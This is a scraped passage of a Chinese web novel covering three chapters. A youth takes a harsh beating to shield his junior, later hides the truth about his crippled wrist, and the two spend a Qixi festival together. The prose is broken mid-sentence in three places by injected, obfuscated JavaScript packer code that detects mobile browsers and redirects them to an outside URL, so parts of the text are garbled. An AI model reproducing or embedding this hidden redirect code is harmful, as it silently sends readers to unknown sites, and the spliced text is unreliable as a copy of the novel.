眼泪在亲近的人面前是委屈、是难过,但是对于那些无法关心、甚至是根本不在意的人面前,眼泪除了证明软弱以外毫无用途。 所以封长念再抬头时,眼底已是一片清明。 “臣,明白了。” 宋启迎沉甸甸地望着封长念那双又深又黑的眸子:“朕会给你父亲一个风光大葬,也已经吩咐下去,由你师父、大魏太师、吏部尚书岳峰作为特使前往梁宁,替朕前去吊唁。” 封长念语气毫无波澜:“多谢陛下体恤。” 冷淡的语气让宋启迎残存的一点不忍慢慢消失殆尽,他眸色渐冷:“好,既然如此,你为人子的事情了了,为人臣的事情,朕还要跟你算账。” 算吧,怎么算都行,现在拖出去杀了都行,反正这不是正好遂了你的意? 封长念暗中冷笑,毫无畏惧地大包大揽:“今夜之事,是臣……” “是臣带长忆出去玩的。”靖安言拂开岳玄林暗地里的手,截过了封长念的话头,“跟他本人没关系。” 封长念猛地抬头:“不是这样的——” 靖安言泰然处之地跪在那儿,他方才几次想说话都被岳玄林拦了,看着封长念跪在那儿可怜巴巴地掉眼泪,心里都堵成了个什么似的,再不说话他要憋疯了。 “陛下,臣没想那么复杂,就想带他去捉几只萤火虫,您也知道的,长忆进玄门以来,一应事情都是臣在管,我这个人玩心大,没什么礼法约束,想出去就出去了。” “你还真的生怕朕忘了你?”宋启迎狠狠剜了他一眼,“能把朕的暗卫逼得尿裤子,靖安言,你胆子真不小啊。” “臣身手好啊,要臣说,陛下,您身边暗卫也得换一换了,这武功不行,怎么保护陛下安危?不是臣自夸,是他着实太废物了些。”余光里封长念几次开口,靖安言都不动声色盖了下去,“无论如何,今夜之事错在我一人,臣甘愿受罚。” “陛下,出城是臣一个人的主意,和小师叔无关!” 方才还无所畏惧的人重重地磕下头去,咣地一声:“别罚他,是我自己的错,与任何人都无关。” 这俩人一唱一和争着领罪,看得宋启迎压抑的火气被挑拨得旺盛:“行啊,一个两个的还真当能帮别人挡灾?朕告诉你们,一个都跑不掉!” “你!无论是不是你带着封珩出城,真当朕能罚轻了你?还是你以为自己是皇后弟弟就能为所欲为?身为皇亲国戚,罪加一等!” 皇帝怒喝道:“拖下去!给朕狠狠地打,二十,不,四十棍,不许留手、不许留情,打完了关刑部大牢里去,不许吃药不许看病,由着他自生自灭!” 封长念蓦地抬头:“陛下——!!” 他膝行几步拦在靖安言身前,手指慌乱中滑过靖安言的手背,冰得靖安言一哆嗦:“陛下,他本无意冒犯,是我、是我求他的!此刑加诸我身,求陛下看在皇后娘娘的面子上对小师叔网开一面!” “抗旨不遵,朕没要脑袋已经是格外宽容,你自己还有四十棍没打,倒是急着替他领罚。”宋启迎朗声道,“来人,一同拖下去,各打四十,不许留情。” 岳玄林终于得了空插话:“陛下三思——” “是啊,陛下三思。”靖安言无视了封长念哀求他别说了的目光,凛然无惧道,“陛下以孝治天下,绥西侯尸骨未寒,陛下如此苛责他唯一的儿子,传出去对陛下名声不好听吧。” 封长念那紧绷了一晚上的情绪几乎要崩溃,可靖安言居然还能带了丝安慰的笑,冲他眨了眨眼,又深深拜下。 “陛下,今夜是我们两个犯了事,可长忆骤然丧父,他也只是想回家看看,情有可原。古人有云,子不教父之过,他自小离家来长安,又被他师父托付给了我,那么他的罪责我有一半责任,所以,一半我承担了,另一半看在绥西侯的份儿上,赦了他吧。” 宋启迎默然不语。 他看着自家小舅子,与他姐姐不甚相像的那张面庞上窥不见一丝一毫的慌乱和服气,反而带了些凛然无惧的慷慨大义。 当年左清明跟朕保证过什么…… 面前这个人、这个人…… 他将左手轻轻放在了案前,那里陈着尚方宝剑,寒光微微一闪,是宋启迎拇指推在剑柄上,长剑蓦地出鞘半寸。 “陛下!!”岳玄林猝然开口,声音都变了调,“归根究底,是臣这个做师父的未能看顾好徒弟,做师兄的未能照顾好师弟,做臣子的未能侍奉好主上,是臣有负陛下所托,陛下息怒。” “可皇后娘娘本就自南疆远嫁而来,对幼弟十分牵念,陛下……”岳玄林咬紧了“南疆”两个字,“三思。” 每一次呼吸都仿佛变得格外漫长,不知过了多久,宋启迎才将手从那尚方宝剑上挪开。 “拖出去,六十。”他指了指靖安言,然后盯了一眼岳玄林,“自己的徒弟自己看顾好,朕不想有下一次。” 封长念悚然一惊,正欲再开口,宋启迎却头也不回地离开了明德宫主殿。 “陛——” “闭嘴吧。” 靖安言猛地伸手捂住他的唇,将人一把扯进怀里,用双手紧紧箍着他的肩,尚且单薄的肩膀在自己掌下都有些硌手,可如今就要自己撑起一方天地了。 靖安言摸了摸他的下巴,结果摸到了一手潮湿。 终于哭了。 靖安言不打扰他哭,紧紧地揽了揽他,被外面的金吾卫托着带起来。 封长念惊慌失措:“小师叔!” “不怕的,不害怕。想哭就哭。”靖安言那温暖的手掌脱离开他的身体,犹带微笑,“回玄门让你玄静师叔和长若师妹看看后腰的伤。” 那伤口早就胡乱地结痂,封长念哪里管得上,踉跄着站起来就去拉扯金吾卫的手,又被岳玄林拦腰抱回来。 “不、不……小师叔——!!!” “在呢,小长忆。”靖安言比了个噤声的手势,“回去睡吧,睡一觉就好了,什么都会过去的。” 他其实是不害怕的,挨打么,宋启迎又不可能真让人把他打死,顶多痛一些,这都不妨事。 只是看到封长念那样惊慌失措、内疚痛苦的神情,他心底是害怕的。 他感受得到,那样的悲戚,那样的痛苦,那样的不由自主又无能为力,都化作了最尖锐的刀,悉数捅入了封长念的心口。 封长念本该无忧无虑、无拘无束,现在却过早地体会了应该体会的、不该体会的失去,到最后什么都留不住。 靖安言怕他钻牛角尖,于是一遍一遍地说,不怕的,没事的,这与你无关,这不是你的错,长忆,阿珩。 阿珩。 西军都督府的人都这么叫,来到长安后,封长念很久都没听过了。 阿珩。阿珩。 这时候的靖安言不止是小师叔,还带着或许魂兮归来的绥西侯,还有西军都督府的人。 阿珩。阿珩。阿珩。 你不要怕,你要往前走,不是你的错。 最终封长念没回去治伤,也没回去睡觉,后腰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14601275|153114||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的伤口不足他心痛的万分之一,岳玄林软硬兼施都拖不走,眼瞧着那伤口又要被再度撕裂,只好由着他去。 他就跪在靖安言行刑的那张长凳前,他知道,宋启迎不敢伤自己,说到底,不让他离京回去给他父亲奔丧,皇帝多少不占理,更违反了他秉持的孝治天下的主张。 于是封长念就在靖安言挨打的时候用自己的身体去挡,那些掌罚的没有办法,只好一遍又一遍拉开他,到最后六十棍多少因着他而松了些,没有实实在在地打下去。 但靖安言还是皮开肉绽,一开始还能嘴硬,揪着封长念的发尾说:“不疼不疼,哎哟真不疼,你小师叔什么人啊,这点儿能耐我何?” “你这是干什么呀长忆,你看过往戏台子撇菜叶的吗?你就跟那个菜叶一样往我身上扑,你是什么啊?我看是小白菜吧,可怜巴巴的小白菜。” 到后来就不行了,那些疼痛越积越多,一同涌上来,疼得人出虚汗,靖安言嘴上没力气喋喋不休,却在心里骂人,心道那棍子下去怎么会那么疼,明明没有倒刺,却能将人抽得皮开肉绽。 他揪着封长念发尾的手揪不住,只能虚虚地摸,偶尔有力气说话还在安慰人:“要不……要不你给我唱首歌吧。什么都行,唱唱你们西域那边的歌,你当哄哄你小师叔了。” 最后封长念唱没唱歌,靖安言已经不记得了,应该是被打得意识模糊,实在撑不住了。 再清醒时已经回了玄门,伤口已经处理过,如今或许又是一个新的日夜了,月色隐约露出些华彩,照在封长念桃子一样的眼皮上。 “你不会……哭了两天吧?”靖安言虚弱地动了动手指,碰了碰他的脸颊,“第一次……看你哭成这样。” “小师叔,我一定……我一定……”后面的话都被封长念淹没在嚎啕之中,靖安言虽然疼得迷糊,但也隐约记得,这人好像自始至终都抓着自己的手,从来没有松开过。 “长忆,你哭,为绥西侯,也为我,更要为了你自己。”靖安言抿了一口封长念递来的水,才将喉头火烧火燎的干燥压下去,他在发烧,他自己知道,“总有一天,你要回到西域去。” “你的归处,应该是茫茫漠原,而不是这逼仄压抑的宫墙。” “小师叔等着看你在西域纵马驰骋的那一天。” “……”烛火霎时爆了一声,惊得靖安言从往日的回想中清醒过来。 他第一个反应居然是——这应该是他第一次的食言,终究他也没能亲眼看到封长念回到西军都督府,在这一愿望实现之前,他自己先离开了故土。 然后就有了第二个、第三个……最终,那个曾经“从不骗人”的靖玄念已经消散在岁月尽头了。 银色小蛇不知何时蹿回了夷月手腕上,小姑娘单手托着脑袋,一眨不眨地盯着自己看。 靖安言被看得莫名其妙:“怎么了?” “看你突然不说话,我也不敢打扰你啊,想起来什么了?”夷月打了个哈欠,“你好像很少回忆往事,之前从没在你嘴里听过相关的事情,如今倒是总走神。” 靖安言没忍住反驳:“走神也不代表回忆往事吧?” “不一样的。”夷月很认真地摇了摇头,“之前……告诉我,人在回忆的时候神情是不一样的,尤其是回忆幸福的事情,而刚刚,起码我能感觉到,你想起来的事情应该还挺快乐。” 快乐? 挨打能叫快乐? 那顿板子让靖安言休养了一个月,又伤在腰臀,只能趴着,每天怎么睡都不舒服。 这叫快乐?? 但他好像确实无法反驳。 靖玄念。靖安言。他自嘲地想。当年他多勇猛啊,宋启迎都气成那副德行了,他还敢挺直脊梁跪在那里不卑不亢,幸亏当时宋启迎还没有后期那般心狠手辣,要不自己怕是活不下来。 封长念会喜欢那样的小师叔,不奇怪。 一个言出必行、一人抵挡千军万马、只为将他牢牢护住的小师叔,的确很招人喜欢。 只可惜,现在他既不会言出必行,封长念也不必由他来护佑了。 靖安言舌根有些发苦,有些恍惚之下居然问夷月:“……你说,他跪在他师父面前,想改我的字的时候,在想什么呢?不怕被皇帝责罚吗?不怕背上骂名吗?” 夷月哪里知道,只能沉默地望着他。 他自嘲地笑了下:“罢了,是我口不择言……” “想知道就自己去问啊,他又不是不在。” 门被猛地拉开,秋长若颀长的身影站在门口:“针扎完了,这次真一点都不能动了,小师叔悠着点儿,问的时候也别太激烈了,好吗?” 靖安言缓步至隔壁,封长念浑身是针,如一尊雕塑一样坐在床边,无言地望着他。 剖情后两个人终于能这样冷静地和对方对视,一坐一站,靖安言半边身子沐光,半边身子藏匿在门板的阴影下。 那里面像是龙潭虎穴,让他提步都困难。 半晌,他呼出一口气,缓步走了进去,反手关上了门,然后吹灭了蜡烛。 黑暗骤然席卷,封长念一时间不适应,完全失去了视线。 下一刻,只听见靖安言的声音在他耳畔响起,撩起一阵令人心痒的风:“改字的事,跟我说说吧,好吗?” 20.腕骨 封长念的心像是突然被靖安言攥紧了。 他的眼睛渐渐适应了黑暗,但靖安言却伸出手,轻轻盖住了他的眼睛,让他没有办法看到自己的表情,只是指尖微凉,搭在他眼尾的地方。 靖安言轻轻问:“告诉我,是什么时候的事?” 封长念眼睫颤动,在靖安言的掌心里带起密密麻麻的痒。 他在回忆。 昭兴七年发生了好多事。 昭兴七年三月初三上巳节,靖安言十九岁生辰,皇帝在皇后的昭宁宫亲设家宴为其庆贺,其父都察院左副都御史靖深、其姐皇后靖宓、其甥太子宋晖均出席,皇帝赐予了他一把好剑,名为熄云,宴席其乐融融。 昭兴七年三月十六日深夜,靖安言突然火烧靖氏祠堂,无人知其缘故,祠堂大半牌位被毁,靖安言受家法惩处,后带伤逃窜,不知所踪。 昭兴七年三月廿三日清晨,七日未见其踪迹的靖安言突然出现在玄门,再度纵火烧了书库,熊熊烈火中,封长念未曾来得及与他说一句话,只见得寒光一现—— 靖安言高高举起那把皇帝赐予的熄云剑,不顾被割得鲜血淋漓的手掌,硬生生掰断了它,然后将残剑往火焰里一抛,扬长而去。 自始至终,靖安言没有对那些突然疯魔的行为给出任何解释。 后来皇帝大怒,下令不计代价将靖安言捉拿归案,追捕半年后有风声传出他已入南疆境内,神寂岭难以逾越,实在无法抓人,皇帝暴怒之下颁布命令——靖安言此人,胆敢入大魏境内一步,人人得而诛之。 天之骄子自此陨落,靖家没有了那个小公子,玄门也没有了那个小师叔。 都发生在那个快到让人来不及反应的昭兴七年。 这是世人都知道的事情,而外人不知道的事情是,那年的九月廿一,是玄门长字门四弟子封长忆十五岁生辰,本应该快快乐乐的日子,岳玄林下早朝时却只看见了个跪在他门前的人。 岳玄林虽然对封长念带的不勤,但终归是自己的弟子,看见他的表情就知道这孩子是来做什么的。 于是他走到封长念身边,轻轻怕了拍他的肩膀:“入秋了,地上凉,进屋说吧。” 封长念一动不动:“师父,我要改字。” 岳玄林的手一顿。 “请您把小师叔的字赐给我。”封长念重重叩首,“他的名字在玄门弟子簿中不复存在……我想要他的‘念’。” “……你追到南疆去,见到他最后一面,他跟你说了什么吗?” 封长念愣了愣,仿佛全然未想到自己的行踪和靖安言的行踪都在岳玄林的掌握之中,也惊诧于他既然知道,居然还是纵着靖安言逃入了神寂岭。 岳玄林把怀中的手炉递给他:“或许他未曾告诉过你,玄门并未逐他出师门,是他自己将玄门的令牌扔进了那场大火中——他是自己不想要了,他不留恋的东西,你留着又有什么必要呢?” 封长念眼底涌动起很难过的情绪。 他记得神寂岭外的暴雨,记得摔碎的玉佩,跌落的纸伞,燃烧的灯,还有靖安言毫不留恋的背影。 有用吗? 可他除了墨痕剑,又留给了我什么呢? 只有这个“念”了。 “小长忆,其实我还挺喜欢我的字的。”昔日那个意气风发的小师叔趴在他的窗前,眼睛亮亮的,“因为我这个人有个天赋,有人念叨我呢,我耳朵就会发烫,所以——” “日后小师叔行侠仗义去了,你想我的时候就念念我,我耳垂发热就知道,你想我啦。” 我想你了。 我想你了。 我想你了。 封长念几乎是颤抖着拜下去:“请师父改字——” “弟子……封长念。” 靖安言空着的那只手下意识往前一托,只托到了一把空。 他扶不起昔日跪着恳求改字的小师侄,也托不住他那一腔热烈而痴情的爱意。 “小师叔,这些年,你耳垂热过吗?” 靖安言顿了顿,然后撤了手:“孩子话也就你能记得了。” “所以你记得。”封长念唇角露出个很淡的笑,“你记得就好。” 靖安言有些烦乱,无意识地转着桌上的杯盏,几乎旋出了残影:“记不记得有意义吗?” “有。” 只有你记得,我的所有“念想”、“思念”才算有了回响。 封长念只要意识到这一点,心脏都在跟着颤抖。 “小师叔,你问了我改字的事,那么作为交换,你也回答我一件事。”封长念紧紧盯着他的手,“……你的手腕,到底怎么了?” 靖安言轻笑一声:“我可没答应你一个答案换另一个答案。” “你是知道我的,弄不清楚的我只会更执着,我终归会弄明白的。”封长念垂下眼睫,“小师叔,我总有机会的。从阿月那儿,从南疆王那儿,我不知道他们交付给我的答案,和你想要的会不会是一个。” “封珩,你威胁我?” 封长念不语,算是默认。 真是长本事了。靖安言心底在嘲讽的同时又想给封长念鼓鼓掌——这人现在已经明白了,软招能让靖安言心软,但榨不出封长念想要的信息,唯有软硬兼施……换言之,硬招才能打听到封长念真正关心的事。 到底有多硬……靖安言暂时不想去探封长念的底。 一阵并不短暂的沉默过后,屋里终于传来了窸窸窣窣的动静。 靖安言挽起衣袖,左手终归有些不灵便,但还是磕磕绊绊拆下了那枚护腕,旋即将手臂往封长念面前一递。 那一瞬间,封长念瞳孔颤栗。 是一道刀伤,留在腕骨的地方,贯穿了整个手腕,从手腕内侧穿出,看着已经是陈年旧疤了。 失去了护腕的依托,靖安言的整只手腕有些脱力似的绵软,就这么静静垂着,全然不复当年长安城外、月色一线,靖安言持剑单挑暗卫时的招招有力。 封长念很想碰一碰,可也不知是针还是心疼,都让他无法动作。 “怎么弄的?怎么会……” 靖安言并不给他再细看的机会,收了手重新穿戴好护腕。 “那是第二个问题了,你没有第二件事要交代,我多亏啊。” 封长念当真沉思了一下:“……你想知道什么?” 靖安言转过身来,擦亮了火折子。刹那间房间大亮,封长念下意识闭了闭眼,再度睁眼时靖安言正倚在桌边,玩弄并探究地看着他。 “你为什么从来不问我,当年的真相?”火折子在他手指间灵活翻飞,“为什么烧了靖家祠堂?为什么烧了玄门?为什么突然就跟疯了一样叛逃了?你为什么不问?” 封长念几乎想也没想:“因为不重要。” “不重要???” 靖安言真怀疑自己的耳朵听错了——封长念觉得不重要??那当年他追到南疆来,问的“为什么”又是什么含义。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14617589|153114||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“当年觉得重要,现在不了。” 封长念语焉不详,但又不打算多说。 靖安言却来了兴致,抄起双臂道:“怎么就——” “那是第三个问题了,”封长念有样学样,“该你了。” 靖安言:“……” “臭小子。”靖安言抱着胳膊的手一蜷,“……行吧,告诉你也无妨,被我师父砍的。” “当年我来到南疆后,宋启迎不是有一次派他带兵出征南疆吗?那一次我帮了南疆,他觉得我一身剑术作为敌手是给己方留患,于是找了一个破绽,砍了我的手。” “或许是因为我躲得快,否则他原本想要的,是我的命。” 五指摊开又蜷缩,看似与平素无异,但只有主人才知道这只手已然废了。 “无论如何,如你所见,也如你所猜,我已经不能用剑了。” 说来也让人悲哀,那也是左清明最后一次为大魏出征。 左清明当年是从南军都督府调至中军都督府的,离开了南疆战场拱卫京师,最后还是死在了南方——他砍掉了自己徒弟的手,自己也留在了这里。 “当师父砍我手的时候,我才真切意识到,我真的回不去了。”靖安言笑笑,“我是个敌人了。” 靖安言从小被左清明带大,之前在长安时不止一次同封长念讲,说左清明俨然已经成了胜似亲爹的存在,可他说起这些事的时候,已经没有了感情。 而封长念也无法想到,那个总是捋着胡须爽朗大笑的师祖,是怎么冷着脸要弄死自己养大的孩子的。 他直直地盯着靖安言的表情,试图从中窥见情绪的波动。 可是没有,靖安言在那里摆弄着火折子玩儿。 他总觉得有些不对劲儿,可他说不出来哪里不对劲。 他在听说这些事的心疼和苦涩中艰难挣扎,试图从中找到一丝理智,来反复推演这些话——总有些不对劲,可是是哪里呢? 靖安言也不给他机会:“好了,该你说了,为什么不好奇。” 封长念齿间动了动,狠狠咬了一口自己的舌尖,声音苦涩,却很坚定:“……我没有问题了。” 火折子不转了:“什么?” “我没有问题了,两来两回,够本了,所以我也不需要回答你的问题了。” 靖安言微微瞪大了眼,全然没想到这人居然紧急停住。 封长念坦然道:“让长若姐给你看看吧,那样好的剑法,多可惜。” “不必看,我心里有数,知道是怎么回事儿。” 封长念叹了口气:“小师叔啊……” 你还问我为什么不重要,原因很简单,因为知道不知道都改变不了你不愿意回到大魏的现实啊。 方才靖安言想错了一点,封长念对付他的方法已经不再是软硬兼施。 而是直接来硬的。 解释?原因?通通滚一边去吧。 他就想要把小师叔完好无损地、干干净净地带回去,其他的都滚一边待着去吧。 靖安言敏锐地察觉到封长念眼神有了些微改变,嗅到危险气息的小师叔刚挪一步,只见这人猛地站起,一阵噼里啪啦,金针摔了一地。 靖安言目瞪口呆,下一刻,秋长若摔门而入:“两个活祖宗,能不能多活几日啊!?” 封长念猛地扶住床柱,脸色惨白:“……劳驾,姐,给我重新扎一遍的同时,给小师叔看看手腕吧。” 靖安言:“……” 21.逃离 秋长若顶着足以吞噬整座客栈的怨气给两个活祖宗扎针把脉。 长夜将尽,大雨已停,清浅的晨光从窗户的缝隙中透出,送进来炊烟袅袅的香气和贩夫走卒的吆喝声,夷月听得心烦意乱,劈手把窗户关上了。 坐回原位,秋长若正在给比他师兄还难搞的病人把脉。 靖安言不配合极了,两个人的对话主要围绕着“我给你看看”“不必”“让我看看”“陈年旧伤了”“看看”“没必要”“你不想要你的手了?”“这不是还没断”来回拉锯。 最后不等封长念说什么,秋长若一掌拍落了一半木桌,木屑飞溅中,大魏国手一字一顿:“坐、下。” 靖安言:“……” 他不想跟秋长若动手,于是偷偷瞄窗户,思索着翻窗而逃的可能性。 说时迟那时快,他眼珠刚刚一动,秋长若手腕一翻,四枚长针带着丝线就牢牢地将他的一条胳膊捆住,另一头被这丫头紧紧攥在掌中。 秋长若得意地勾唇:“还想跑?小师叔,这么多年就没有一个病人能从我手底下跑了的。” 靖安言服了,这十年光景出息了的又何止封长念:“……好好好,你看你看你看。” 护腕再度被解开,秋长若抓着他的手,指尖自皮肤上轻轻划过,绕了一圈又到脉搏。 她看得专注,这眼神让靖安言有些不自在,于是只能干笑:“怎么样啊秋大夫,还有得治吗?” 秋长若答非所问:“利器贯穿,损伤经脉,这一下戳得又准又狠,冲着废了你这只手去的,谁干的?” 靖安言语气和方才一样平淡:“我师父,你师祖,左朗左清明。” 与秋长若一起瞪大了眼睛的是夷月。 靖安言眼风一扫,又快又轻地给她递了个眼神。 这些小动作当然不可能让一旁静观其变的封长念错过,他几乎是擦着靖安言收回的眼风开口:“怎么了阿月姑娘?你之前也不知道他的伤吗?” “我……”夷月顿了顿,“我知道,但我只知道是贯穿伤,不知道动手的那个人是他师父。” 封长念做不了任何动作和表情,只能眨眨眼:“……你听说过左师祖?” “听说过,‘南鸟’嘛。” 这次不光是封长念一怔,连秋长若都抬起了头:“阿月知道‘南鸟’?” “她当然知道。”靖安言轻飘飘道,“说起来忘了跟你们详细介绍,夷月,我的干女儿,但她亲爹比我这个干爹厉害得多——南疆大祭司夷靡殊。” 南疆王之下武首圣酋、文首大祭司。难怪召砾可以对靖安言不客气,却不敢对夷月真的动手。 这丫头来头不小。 可南疆大祭司的女儿为什么会认靖安言做干爹,与他四处流浪? “身份倒是次要的啦,但‘南鸟’很出名啊,不只是我,我们南疆很多人都知道。”夷月吐吐舌,感觉这屋里那两个大魏人对自己的目光刹那间带了些说不清道不明,“大魏的南鸟计划,八年前毁于一旦,主帅左清明战死南疆。” 说是计划,其实就是一次大魏主动发起的、收复南疆的战役,最终失败,只不过这次的代价格外惨重些,主帅牺牲,士气重创,不得不班师回朝。 “故而我只是诧异,”夷月此时的语气比方才淡定也平静了很多,“你说你师父对你动的手?这也太……” “报应啊,叛逃总要付出代价的。他估计在我叛逃的时候就已经后悔死了。”靖安言没有看夷月,淡笑道,“都是报应。” 话毕,他终于抬眼看了秋长若:“秋大夫诊断完了吗?” 秋长若抓着他的手,定定地望着他的眼睛,没有立刻说话。 留给封长念的是秋长若的背影,因此他不知道秋长若的表情,只是问:“如何了,姐,能治吗?” 靖安言也再度开口:“秋大夫?” “啪”。秋长若松了手:“不好治,但可以试试,连接经脉放在前几年可能有些困难,但临危之际我接过一次大的任务还成功了,所以,有把握试试。” 还有机会!? 封长念嘴角微微抽动,要不是不好动作,几乎都要欣喜若狂了。 一个以剑为命的人断了手腕,失了剑道,居然还有机会能够恢复,如何不让人欣喜若狂? 可靖安言只是依旧微微笑着,点点头:“那有机会试试吧。” 秋长若一瞬不瞬地盯着他:“阿月,我和小师叔下去拿点儿吃得上来,顺带着聊聊诊疗之事,你看着你封哥。” 靖安言没有反对,从善如流地跟着她下了楼。 两人一前一后,脚步声都轻浅,直到走到二三层之间,秋长若突然站住了步子,靖安言没预料到,险些把她撞一个趔趄。 “秋……” 秋长若猝然回头,眼睛是红的:“你手腕的伤根本不是师祖伤的,对不对?” 靖安言虚虚扶着她的手一顿。 “南鸟计划,主帅不可能随意出入阵营,你们要见面只能在战场上——我不问你为了谁作战,也不问你在哪里作战,你只需要回答我,那刀口截面整齐,说明被砍得时候手一动没动。而你,是怎么做到在兵荒马乱的战场上,用右手拿着剑与师祖厮杀,又一动不动被他砍下来这一刀的?” 靖安言收回了手。 “还有,你从小想让我帮你打掩护,都会叫我‘秋大夫’。”秋长若猛地揪起他的领子,“小师叔,你的伤到底怎么回事儿?这一切是不是另有隐情?师祖是不是跟你说了什么?” 她面前的小师叔和当年一样,爱笑,喜欢调侃人,但那双眼睛已经不似当年那般顾盼神飞,只有一股浓浓的倦怠和疲惫,看得人有点苦。 “想多了你。”靖安言轻轻拎着她的袖口拿下她的手,“我需要你打掩护,的确是因为知道你能看出来这个伤口的端倪,不想让你当着长忆的面说,但不是什么别的原因,不想让他再激动了而已。” “当年在战场上,我被师父逼到了一个角落里,他说我这身本事是孽障,不能留,我想着,虽然我对大魏、对玄门都极其讨厌,但终究面前这人养了我许多年,这只手就当还他了。” 靖安言拨了一下她的额发:“就这么简单。” “我不信。”秋长若笃定,“你撒谎。” 靖安言耸耸肩,直接绕过她:“随意。赶快去点早饭吧,折腾了一夜,你不饿我都饿了。” 他本不愿再在此事上多纠缠,却不想秋长若最后一句话落进他的耳中:“小师叔,从十年前开始,一切的一切,是不是有人逼你?” 真敢想也真敢问啊。 靖安言呼吸一滞,然后缓缓呼出。 他扶着栏杆转头:“我觉得要四碗粥再配些小菜就差不多了,你觉得呢?” 一夜未眠,四个人吃了些东西后睡了一觉,才将那股困乏压下去不少,待到醒来时,已然夕阳西下,但街上热闹不减,甚至还有愈演愈烈的架势。 夷月在窗边编发,奇道:“哎?今天是什么日子吗?怎么这么多人都在街上挂灯笼?” 秋长若也凑过来:“我都忘了,今儿是七夕啊。” 七夕?刚恢复自由的封长念敲着僵直的后腰,看见收拾好的靖安言对着两个摩拳擦掌的姑娘为难。 “走吧出去看看!再睡今天晚上又要睡不着觉了。”夷月笑嘻嘻地劝,“封哥,在我们南疆,七夕也是大日子,一起去看看啊,肯定和你们大魏的过法不一样。” “哎哎哎,那你们去啊,我可不去。”靖安言掩唇打了个哈欠,“全是人,挤死了,你们去玩吧,我在客栈休息。” “那我也不去了。”封长念话到嘴边改了口,“圣酋知道我们行踪,万一对小师叔不利……我还是在客栈陪着。” 秋长若眼波一扫:“可是我也没见过南疆七夕节呀,机会难得,长念你不想去看看吗?” “当然想,但是……总之我不去了。” 靖安言这再反应不过来就是真没睡醒了:“想去就去,你别把这事儿押我身上啊。” 封长念大言不惭地抬起头:“可相比于七夕,我更想和你待在一起。” 靖安言:“……” “七夕本来就要和心上人在一起的,你不在,我一个人上街又有什么意思?再多好玩的又怎么样?” 靖安言:“……” “罢了,屋里也挺好,趴窗口看看热闹就……” 靖安言:“去去去,我去,好吗?别这副可怜巴巴的眼神看着我,封珩,老大不小了你跟谁撒娇呢。” 秋长若一旁幽幽地说:“不知道,反正不是冲我,我也没见过长念撒娇,估计是知道对我不管用吧,对谁管用我不知道,但此情此景真难得啊。” 夷月点点头:“难得啊……啊!干爹饶命!出去玩啦!” 夜幕彻底降下来的时候,大街上也彻底热闹了起来。 也不知是故意还是无意,他们四个人被人群冲散了,靖安言从琳琅满目的街景回过神来时,只有身侧虚虚护着他的一个封长念,那俩姑娘已经不见了。 “人呢?” “方才长若姐说要和阿月去放花灯,提前走了。”人太多了,封长念为了让他听得清楚只能凑近,声音也愈发低磁,轻轻碰撞着的前胸都在共振,“方才给你买的,看看喜不喜欢?” 是一根手工扎的绢花。 花瓣挠得他眼角微痒,靖安言下意识接过来:“……为什么不一起去?” “可能怕咱们两个没兴趣吧。” “谁说的?我还挺有兴趣的。” 封长念忍了忍,没忍住,笑了。 靖安言摸摸耳垂:“……笑什么?” “小师叔,十年来或者把之前在大魏也算上,有人跟你表过心迹吗?” “怎么没有?”靖安言微微提高了音量,“好赖不计当年我也是大魏第一风流俏公子,喜欢我的人多了去了。” “哦。然后你就都这样?” “哪样?” 封长念眼疾手快地碰了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他抚了抚额,晃了晃那干秃秃的花枝:“小师叔你啊……” “我?我怎么了?” 剩下的话被一阵盛大的喧嚣吞没在夜空里。 绚烂的光让靖安言不由自主转身,触及的瞬间瞳孔微微放大了。 是烟花。 街上所有人的注意力都被骤然燃起的烟火吸引了,惊呼声高高低低,一浪接着一浪,刹那间点燃了整个夜集的热情和气氛。 人潮涌动,封长念轻轻站到靖安言身边,发现他的神情微微变了。 他专注地看着那些绚烂的焰火绽放又枯萎,就连封长念轻轻搭上他的肩膀防止被撞都没有反应,身侧的右手极快地蜷缩了一下,被身体挡着,封长念没看到。 “我好多年没这样,堂堂正正站在大街上看烟花了。”靖安言出神道,“……太多太多年了。” “以后还有很多机会的。”封长念趁机轻声道,“长安城烟花更多,记得吗?还有各种图样的,回去一一放过好不好?” 靖安言只是极慢极慢地眨了下眼睛。 人越来越多,大家都蜂拥着往前,要往集市中心去,封长念担心人挤散了,于是抓住了靖安言的手腕,顺着人流的方向一起走。 “长忆,你还记得上一次咱们看烟花是什么时候吗?” 人声嘈杂,但靖安言的声音却很清晰。 “记得。我十四岁生辰,你花了大价钱向名师设计了一只雄鹰烟花,名师挠头发挠掉了好多,才终于拼出你想要的图案。”封长念微微一顿,“那也是你我最后一次看烟花了,小师叔。” “那时候我就知道,你对我的期望就是,飞出囚笼,飞向自己的天际——如今我羽翼已丰,还想再庇佑我心爱的人,如此,才算真的自由自在了。” “你愿意让我试试吗?小师叔?” 封长念猝然停下。 身后的人未料到他突然停下,直直撞在他的后背上,懊恼地瞪他一眼,绕开他走了。 